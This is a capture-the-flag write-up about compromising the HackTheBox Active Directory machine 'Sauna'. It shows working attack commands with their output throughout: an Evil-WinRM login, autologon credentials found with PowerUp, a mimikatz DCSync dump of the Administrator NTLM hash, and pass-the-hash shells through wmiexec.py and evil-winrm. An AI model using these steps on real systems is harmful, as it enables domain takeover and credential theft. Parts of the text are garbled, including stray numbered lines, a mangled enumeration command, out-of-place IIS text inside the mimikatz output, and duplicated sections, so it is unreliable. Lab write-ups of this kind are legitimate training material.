


1



7 r
8 s
9 f
10 s
11 b
12 s
13 b

```
17 Braytor  
18 SCoins  
19 HBear  
20 SKerb  
21 fergus.smith  
22 sophie_driver
```

Something I learnt from the Mon
creds. So, let's try SMB and LDAP

```
enum4l nmap -a -u -TSMRmap -p 445 thestroke23 10.10.10.175 > enum4l.nmap
```

Results:

- we find some new user names: `fsmith` and `svc_loanmgr`
- We get confirmation about Evil-WinRM being the right tool to connect to fsmith's account, as well as another user who can remote in.

```
Group 'Remote Management Users' (RID: 580) has member: EGOTISTICALBANK\fsmith
Group 'Remote Management Users' (RID: 580) has member: EGOTISTICALBANK\svc_loanmgr
```

a tip from Ippsec is
pick what is interest

Nothing seems too juicy for now.....

Fergus Shell

We're quite limited in this shell

```
*evil-WinRM* PS C:\Users\FSmith\Documents> systeminfo  
program 'systeminfo.exe' failed to run: Access is deniedAt line:1 char:1  
systeminfo
```

The other users on this box

```
*Evil-WinRM* PS C:\Users\FSmith\Documents> net users  
  
User accounts for \\  
  
-----  
Administrator          FSmith           Guest  
HSmith                krbtgt          svc_loanmgr
```

EvilWinRM has upload capabilities. Let's upload an enumeration tool, despite our shell limited shell:

```
upload [path on your kali] /PowerUp.ps1
```

```
[*] Checking for Autologon credentials in registry ...
```

```
DefaultDomainName      : EGOTISTICALBANK  
DefaultUserName        : EGOTISTICALBANK\svc_loanmanager  
DefaultPassword        : Moneymakestheworldgoround!
```

We get the creds: `svc_loanmanager`, pass: `Moneymakestheworldgoround!`

We know from our earlier enumeration that they have remote access, under the username:

`svc_loanmgr`. Let's try their shell, in a minute. But first, let's see if there's anything interesting in SMB/LDAP enumeration with these creds.

SMB and LDAP Enumeration III

Nothing new here either! Still good practice to check.

LoanManager Shell

```
evil-winrm -u svc_loanmgr -p Moneymakestheworldgoround! -i 10.10.10.175
```

As a service account, there's a good chance we can retrieve the admin hash via mimikatz:

- <https://pentestlab.blog/tag/dcsync/>
- <https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump->

Upload `mimikatz`, the same way we uploaded our other tools. However everytime I try and use it it goes crazy:

Googling around, I eventually find that appending a "exit" to the end stops it after it completes a task we ask. So, let's go: . ./mimikatz.exe "lsadump::dcsync /user:administrator" "exit"

```
[DC] administrator will be the user account

Object RDN : Administrator application pools
              Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list appo

** SAM ACCOUNT **

SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 1/24/2020 10:14:15 AM
Object Security ID : S-1-5-21-2966785786-3096785034-1186376766-500
Object Relative ID : 500

Credentials:          # Get password
Hash NTLM: d9485863c1e9e05851aa40cbb4ab9dff
ntlm- 0: d9485863c1e9e05851aa40cbb4ab9dff
ntlm- 1: 7facdc498ed1680c4fd1448319a8c04f
lm   - 0: ee8c50e6bc332970a8e8a632488f5211
```

Root Shell

Now, we need to figure out what to do with this info. This article helps us out:
<https://blog.ropnop.com/practical-usage-of-ntlm-hashes/#testing-logins-with-hashes>

the command we want to get root shell:

```
sudo wmiexec.py -hashes :d9485863c1e9e05851aa40cbb4ab9dff administrator@10.10.10.175
```

```
kali㉿kali:~$ sudo wmiexec.py -hashes :d9485863c1e9e05851aa40cbb4ab9dff administrator@10.10.10.175
```

```
C:\>whoami  
egotisticalbank\administrator
```

Equally, Evil-WInRM can utilise the hash (via -H) to create a remote shell for Admin. It's more stable than the previous wmiexec shell too:

```
evil-winrm -H d9485863c1e9e05851aa40cbb4ab9dff -u administrator -i 10.10.10.175
```

LoanManager Shell

```
evil-winrm -u svc_loanmgr -p Moneymakestheworldgoround! -i 10.10.10.175
```

Sharphound & Bloodhound

Bloodhound – A Tool For Exploring Active Directory Domain Security

Bloodhound is an open source application used for analyzing security of active directory domains. The tool is inspired by graph theory and active latesthackingnews.com

- <https://bloodhound.readthedocs.io/en/latest/index.html>
- <https://m0chan.github.io/2019/07/30/Windows-Notes-and-Cheatsheet.html#-if-its-ad-get-bloodhound-imported>
- <https://latesthackingnews.com/2018/09/25/bloodhound-a-tool-for-exploring-active-directory-domain-security/>

Upload **SharpHound.exe** and then `./SharpHound.exe`.

- Download the zip files back to your kali machine

Bloodhound GUI

Start `sudo neo4j console`

Go to the **localhost** link, and check the creds work. They're the usual password, or if bloodhound hasn't been used before it needs new creds, default are: `neo4j`

Type `bloodhound` in your terminal to get started, and then import the `.zip` file by dropping it into bloodhound, to visualise which users are connected to whom.

Nothing will come up, because we need to ask questions. If we ask to find who has DC sync rights, this is an exploitable avenue via mimikatz.



Pre-Built Analytics Queries

[Find all Domain Admins](#)


[Find Shortest Paths to Domain Admins](#)

[Find Principals with DCSync Rights](#)

[Users with Foreign Domain Group Membership](#)

[Groups with Foreign Domain Group Membership](#)

[Map Domain Trusts](#)



As a service account, there's a good chance we can retrieve the admin hash from the loan manager via mimikatz:

- <https://pentestlab.blog/tag/dcsync/>
- <https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync>

Mimikatz

Upload `mimikatz`, the same way we uploaded our other tools. However everytime I try and use it it